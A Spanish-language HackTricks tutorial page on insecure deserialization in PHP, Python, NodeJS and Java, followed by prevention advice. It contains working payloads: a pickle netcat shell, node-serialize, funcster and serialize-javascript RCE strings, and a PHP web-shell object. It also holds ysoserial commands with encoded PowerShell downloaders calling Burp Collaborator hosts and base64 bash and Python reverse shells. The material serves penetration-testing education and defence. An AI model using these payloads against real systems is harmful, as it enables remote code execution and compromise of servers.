Deserialization
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Serialization se entiende como el método de convertir un objeto en un formato que puede preservarse, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda recrearse más tarde, manteniendo su estructura y estado.
Deserialization, en cambio, es el proceso que contrarresta la serialization. Involucra tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.
Deserialization puede ser peligrosa porque potencialmente permite a atacantes manipular los datos serialized para ejecutar código dañino o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
PHP
En PHP, se utilizan métodos mágicos específicos durante los procesos de serialization y deserialization:
__sleep: Invocado cuando un objeto está siendo serialized. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben ser serialized. Se utiliza comúnmente para commit de datos pendientes o para realizar tareas de limpieza similares.__wakeup: Llamado cuando un objeto está siendo deserialized. Se usa para restablecer cualquier conexión a la database que pueda haberse perdido durante la serialization y realizar otras tareas de re-inicialización.__unserialize: Este método se llama en lugar de__wakeup(si existe) cuando un objeto está siendo deserialized. Ofrece más control sobre el proceso de deserialization en comparación con__wakeup.__destruct: Este método se llama cuando un objeto está a punto de ser destruido o cuando el script termina. Normalmente se usa para tareas de limpieza, como cerrar file handles o conexiones a la database.__toString: Este método permite que un objeto sea tratado como una string. Puede usarse para leer un archivo u otras tareas basadas en las llamadas a funciones dentro de él, proporcionando efectivamente una representación textual del objeto.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Si miras los resultados puedes ver que las funciones __wakeup y __destruct se llaman cuando el objeto es deserializado. Observa que en varios tutoriales encontrarás que la función __toString se llama al intentar imprimir algún atributo, pero aparentemente eso ya no ocurre.
Warning
El método
__unserialize(array $data)se llama en lugar de__wakeup()si está implementado en la clase. Permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar las tareas necesarias durante la deserialización.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Puedes leer un ejemplo explicado de PHP aquí: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aquí https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o aquí https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Podrías abusar de la funcionalidad PHP autoload para cargar archivos php arbitrarios y más:
PHP - Deserialization + Autoload Classes
Serializando valores referenciados
Si por alguna razón quieres serializar un valor como una referencia a otro valor serializado puedes:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Preventing PHP Object Injection with allowed_classes
[!INFO] El soporte para el segundo argumento de
unserialize()(el array$options) se agregó en PHP 7.0. En versiones anteriores la función solo acepta la cadena serializada, lo que hace imposible restringir qué clases pueden ser instanciadas.
unserialize() instanciará todas las clases que encuentre dentro de la cadena serializada a menos que se indique lo contrario. Desde PHP 7, el comportamiento puede restringirse con la opción allowed_classes:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Si allowed_classes se omite o el código se ejecuta en PHP < 7.0, la llamada se vuelve peligrosa ya que un atacante puede crear un payload que abuse de métodos mágicos como __wakeup() o __destruct() para lograr Remote Code Execution (RCE).
Ejemplo real: Everest Forms (WordPress) CVE-2025-52709
El plugin de WordPress Everest Forms ≤ 3.2.2 intentó ser defensivo con un helper wrapper pero se olvidó de las versiones antiguas de PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
En servidores que aún ejecutaban PHP ≤ 7.0, esta segunda rama derivaba en un clásico PHP Object Injection cuando un administrador procesaba un envío de formulario malicioso. Un payload de exploit mínimo podría verse así:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Tan pronto como el administrador vio la entrada, el objeto fue instanciado y SomeClass::__destruct() se ejecutó, resultando en ejecución de código arbitrario.
Conclusiones
- Pasa siempre
['allowed_classes' => false](o una lista blanca estricta) al llamar aunserialize(). - Audita los wrappers defensivos – a menudo olvidan las ramas legacy de PHP.
- Actualizar solo a PHP ≥ 7.x no es suficiente: la opción aún debe proporcionarse explícitamente.
PHPGGC (ysoserial for PHP)
PHPGGC puede ayudarte a generar payloads para abusar de deserializaciones de PHP.
Ten en cuenta que en varios casos no podrás encontrar una forma de abusar de una deserialización en el código fuente de la aplicación pero podrías ser capaz de abusar del código de extensiones PHP externas.
Así que, si puedes, revisa el phpinfo() del servidor y busca en Internet (e incluso en los gadgets de PHPGGC) algún gadget posible que puedas abusar.
phar:// metadata deserialization
Si has encontrado un LFI que solo lee el archivo y no ejecuta el código php dentro de él, por ejemplo usando funciones como file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Puedes intentar abusar de una deserialización que ocurre al leer un archivo usando el protocolo phar.
Para más información lee el siguiente post:
Python
Pickle
Cuando el objeto es unpickled, la función ___reduce___ se ejecutará.
Cuando se explota, el servidor podría devolver un error.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Antes de probar la técnica de bypass, intenta usar print(base64.b64encode(pickle.dumps(P(),2))) para generar un objeto que sea compatible con python2 si estás ejecutando python3.
Para más información sobre cómo escapar de las pickle jails consulta:
Yaml & jsonpickle
La siguiente página presenta la técnica para abusar de una deserialización insegura en las librerías python de yamls y termina con una herramienta que puede usarse para generar payloads de deserialización RCE para Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
Funciones “mágicas” de JS
JS no tiene funciones “mágicas” como PHP o Python que se vayan a ejecutar solo por crear un objeto. Pero tiene algunas funciones que se usan frecuentemente incluso sin llamarlas directamente como toString, valueOf, toJSON.
Si al abusar de una deserialización puedes comprometer estas funciones para ejecutar otro código (potencialmente abusando de prototype pollutions) podrías ejecutar código arbitrario cuando sean llamadas.
Otra forma “mágica” de invocar una función sin llamarla directamente es comprometiendo un objeto que es devuelto por una función async (promise). Porque, si transformas ese objeto retornado en otra promise con una propiedad llamada “then” de tipo function, ésta será ejecutada simplemente porque es devuelta por otra promise. Sigue este enlace para más info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Si quieres aprender sobre esta técnica consulta el siguiente tutorial:
NodeJS - proto & prototype Pollution
node-serialize
Esta librería permite serializar funciones. Ejemplo:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
El objeto serializado se verá así:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Puedes ver en el ejemplo que cuando una función se serializa la bandera _$$ND_FUNC$$_ se añade al objeto serializado.
Dentro del archivo node-serialize/lib/serialize.js puedes encontrar la misma bandera y cómo el código la está usando.
.png)
.png)
Como puedes ver en el último fragmento de código, si se encuentra la bandera eval se usa para deserializar la función, así que básicamente la entrada del usuario está siendo usada dentro de la función eval.
Sin embargo, solo serializar una función no la ejecutará, ya que sería necesario que alguna parte del código llamara a y.rce en nuestro ejemplo y eso es altamente improbable.
De todos modos, podrías simplemente modificar el objeto serializado añadiendo algunos paréntesis para autoejecutar la función serializada cuando el objeto sea deserializado.
En el siguiente fragmento de código fíjate en el último paréntesis y en cómo la función unserialize ejecutará automáticamente el código:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Como se indicó anteriormente, esta biblioteca obtendrá el código después de _$$ND_FUNC$$_ y lo ejecutará usando eval. Por lo tanto, para auto-ejecutar código puedes eliminar la parte de creación de la función y el último paréntesis y simplemente ejecutar un JS oneliner como en el siguiente ejemplo:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Puedes find here further information sobre cómo explotar esta vulnerabilidad.
funcster
Un aspecto notable de funcster es la inaccesibilidad de los objetos incorporados estándar; se encuentran fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, provocando excepciones como “ReferenceError: console is not defined” cuando se usan comandos como console.log() o require(something).
A pesar de esta limitación, es posible restaurar el acceso completo al contexto global, incluidos todos los objetos incorporados estándar, mediante un enfoque específico. Aprovechando directamente el contexto global, se puede eludir esta restricción. Por ejemplo, el acceso se puede restablecer usando el siguiente fragmento:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Para más información lea esta fuente.
serialize-javascript
El paquete serialize-javascript está diseñado exclusivamente para propósitos de serialization y carece de capacidades integradas de deserialization. Los usuarios son responsables de implementar su propio método para la deserialization. Un uso directo de eval es sugerido por el ejemplo oficial para deserializing serialized data:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Si esta función se utiliza para deserialize objetos, puedes easily exploit it:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Para more information read this source.
Cryo library
En las páginas siguientes puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
En Java, deserialization callbacks are executed during the process of deserialization. Esta ejecución puede ser explotada por atacantes que creen payloads maliciosos que activen estos callbacks, lo que puede dar lugar a la ejecución de acciones dañinas.
Fingerprints
White Box
Para identificar posibles vulnerabilidades de serialización en la base de código, busca:
- Clases que implementen la interfaz
Serializable. - Uso de
java.io.ObjectInputStream, las funcionesreadObject,readUnshare.
Presta especial atención a:
XMLDecoderutilizado con parámetros definidos por usuarios externos.- El método
fromXMLdeXStream, especialmente si la versión de XStream es menor o igual a 1.46, ya que es susceptible a problemas de serialización. ObjectInputStreamcombinado con el métodoreadObject.- Implementación de métodos como
readObject,readObjectNodData,readResolve, oreadExternal. ObjectInputStream.readUnshared.- Uso general de
Serializable.
Black Box
Para pruebas Black Box, busca firmas específicas o “Magic Bytes” que indiquen objetos serializados de java (originados de ObjectInputStream):
- Patrón hexadecimal:
AC ED 00 05. - Patrón Base64:
rO0. - Encabezados HTTP con
Content-typeestablecido enapplication/x-java-serialized-object. - Patrón hexadecimal que indica compresión previa:
1F 8B 08 00. - Patrón Base64 que indica compresión previa:
H4sIA. - Archivos web con la extensión
.facesy el parámetrofaces.ViewState. Descubrir estos patrones en una aplicación web debería llevar a un examen como se detalla en el post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Comprobar si es vulnerable
Si quieres aprender cómo funciona un Java Deserialized exploit deberías echar un vistazo a Basic Java Deserialization, Java DNS Deserialization, y CommonsCollection1 Payload.
SignedObject-gated deserialization y pre-auth reachability
Las codebases modernas a veces envuelven la deserialization con java.security.SignedObject y validan una firma antes de llamar a getObject() (que deserializes el objeto interno). Esto previene clases gadget arbitrarias a nivel superior pero aún puede ser explotable si un atacante puede obtener una firma válida (p.ej., compromiso de la private-key o un signing oracle). Además, los flujos de manejo de errores pueden emitir session-bound tokens para usuarios no autenticados, exponiendo sinks protegidos pre-auth.
Para un estudio de caso concreto con requests, IoCs y recomendaciones de hardening, ver:
Java Signedobject Gated Deserialization
White Box Test
Puedes comprobar si hay alguna aplicación instalada con vulnerabilidades conocidas.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Puedes intentar check all the libraries conocidas por ser vulnerables y que Ysoserial can provide an exploit for. O puedes revisar las librerías indicadas en Java-Deserialization-Cheat-Sheet.
También puedes usar gadgetinspector para buscar posibles gadget chains que puedan ser explotadas.
Al ejecutar gadgetinspector (después de compilarlo) no te preocupes por las toneladas de warnings/errors que muestra y déjalo terminar. Escribirá todos los hallazgos en gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Ten en cuenta que gadgetinspector won’t create an exploit and it may indicate false positives.
Prueba de Caja Negra
Usando la extensión de Burp gadgetprobe puedes identificar which libraries are available (e incluso las versiones). Con esta información puede ser easier to choose a payload para explotar la vulnerabilidad.
Read this to learn more about GadgetProbe.
GadgetProbe está enfocado en deserializaciones ObjectInputStream.
Usando la extensión de Burp Java Deserialization Scanner puedes identify vulnerable libraries explotables con ysoserial y exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner está enfocado en deserializaciones ObjectInputStream.
También puedes usar Freddy para detect deserializations vulnerabilities en Burp. Este plugin detectará not only ObjectInputStream vulnerabilidades relacionadas sino also vulns de librerías de deserialización Json y Yml. En modo activo intentará confirmarlas usando payloads de sleep o DNS.
You can find more information about Freddy here.
Serialization Test
No todo consiste en comprobar si el servidor usa alguna librería vulnerable. A veces puedes change the data inside the serialized object and bypass some checks (posiblemente obteniendo privilegios de administrador en una webapp).
Si encuentras un objeto serializado de Java enviado a una aplicación web, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Saber qué datos estás enviando hará más fácil modificarlos y eludir algunas comprobaciones.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Al crear un payload para java.lang.Runtime.exec() no puedes usar caracteres especiales como “>” o “|” para redirigir la salida de una ejecución, “$()” para ejecutar comandos o incluso pasar argumentos a un comando separados por espacios (puedes hacer echo -n "hello world" pero no puedes hacer python2 -c 'print "Hello world"'). Para codificar correctamente el payload podrías usar esta página web.
Siéntete libre de usar el siguiente script para crear todos los payloads de ejecución de código posibles para Windows y Linux y luego probarlos en la página web vulnerable:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Puedes usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto con ysoserial para crear más exploits. Más información sobre esta herramienta en las diapositivas de la charla donde se presentó la herramienta: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec puede usarse para generar payloads para explotar diferentes Json y Yml bibliotecas de serialización en Java.
Para compilar el proyecto necesité agregar estas dependencias a pom.xml:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instala maven, y compila el proyecto:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Lee más sobre esta biblioteca Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratorios
- Si quieres probar algunos payloads de ysoserial puedes ejecutar esta webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Por qué
Java usa mucha serialización para diversos propósitos como:
- HTTP requests: La serialización se emplea ampliamente en el manejo de parámetros, ViewState, cookies, etc.
- RMI (Remote Method Invocation): El protocolo Java RMI, que depende completamente de la serialización, es una piedra angular para la comunicación remota en aplicaciones Java.
- RMI over HTTP: Este método es comúnmente usado por aplicaciones web cliente thick basadas en Java, utilizando la serialización para todas las comunicaciones de objetos.
- JMX (Java Management Extensions): JMX utiliza la serialización para transmitir objetos a través de la red.
- Custom Protocols: En Java, la práctica estándar implica la transmisión de objetos Java en crudo, lo cual se demostrará en ejemplos de exploit próximos.
Prevención
Objetos transient
Una clase que implementa Serializable puede declarar como transient cualquier objeto dentro de la clase que no deba ser serializado. Por ejemplo:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Evitar la serialización de una clase que necesita implementar Serializable
En escenarios donde ciertos objetos deben implementar la interfaz Serializable debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método final readObject() que lance siempre una excepción, como se muestra a continuación:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Mejorando la seguridad de la deserialización en Java
Personalizar java.io.ObjectInputStream es un enfoque práctico para asegurar los procesos de deserialización. Este método es adecuado cuando:
- El código de deserialización está bajo tu control.
- Las clases esperadas para la deserialización son conocidas.
Sobrescribe el método resolveClass() para limitar la deserialización solo a las clases permitidas. Esto evita la deserialización de cualquier clase excepto aquellas explícitamente permitidas, como en el siguiente ejemplo que restringe la deserialización únicamente a la clase Bicycle:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement ofrece una solución de respaldo cuando no es posible modificar el código. Este método se aplica principalmente para blacklisting harmful classes, usando un parámetro de la JVM:
-javaagent:name-of-agent.jar
Proporciona una forma de asegurar la deserialización de forma dinámica, ideal para entornos donde realizar cambios de código inmediatos es poco práctico.
Consulta un ejemplo en rO0 by Contrast Security
Implementación de Filtros de Serialización: Java 9 introdujo los filtros de serialización mediante la interfaz ObjectInputFilter, proporcionando un mecanismo potente para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros pueden aplicarse de forma global o por stream, ofreciendo un control granular sobre el proceso de deserialización.
Para utilizar los filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para streams específicos. Por ejemplo:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Aprovechando Bibliotecas Externas para una Mayor Seguridad: Bibliotecas como NotSoSerial, jdeserialize, y Kryo ofrecen características avanzadas para controlar y monitorizar la deserialización en Java. Estas bibliotecas pueden aportar capas adicionales de seguridad, como listas blancas o negras de clases, analizar objetos serializados antes de la deserialización e implementar estrategias de serialización personalizadas.
- NotSoSerial intercepta procesos de deserialización para evitar la ejecución de código no confiable.
- jdeserialize permite el análisis de objetos Java serializados sin deserializarlos, ayudando a identificar contenido potencialmente malicioso.
- Kryo es un framework alternativo de serialización que enfatiza velocidad y eficiencia, ofreciendo estrategias de serialización configurables que pueden mejorar la seguridad.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Encuentra qué es JNDI Injection, cómo abusar de ello vía RMI, CORBA & LDAP y cómo explotar log4shell (y un ejemplo de esta vuln) en la siguiente página:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
There are several products using this middleware to send messages:
.png)
.png)
Exploitation
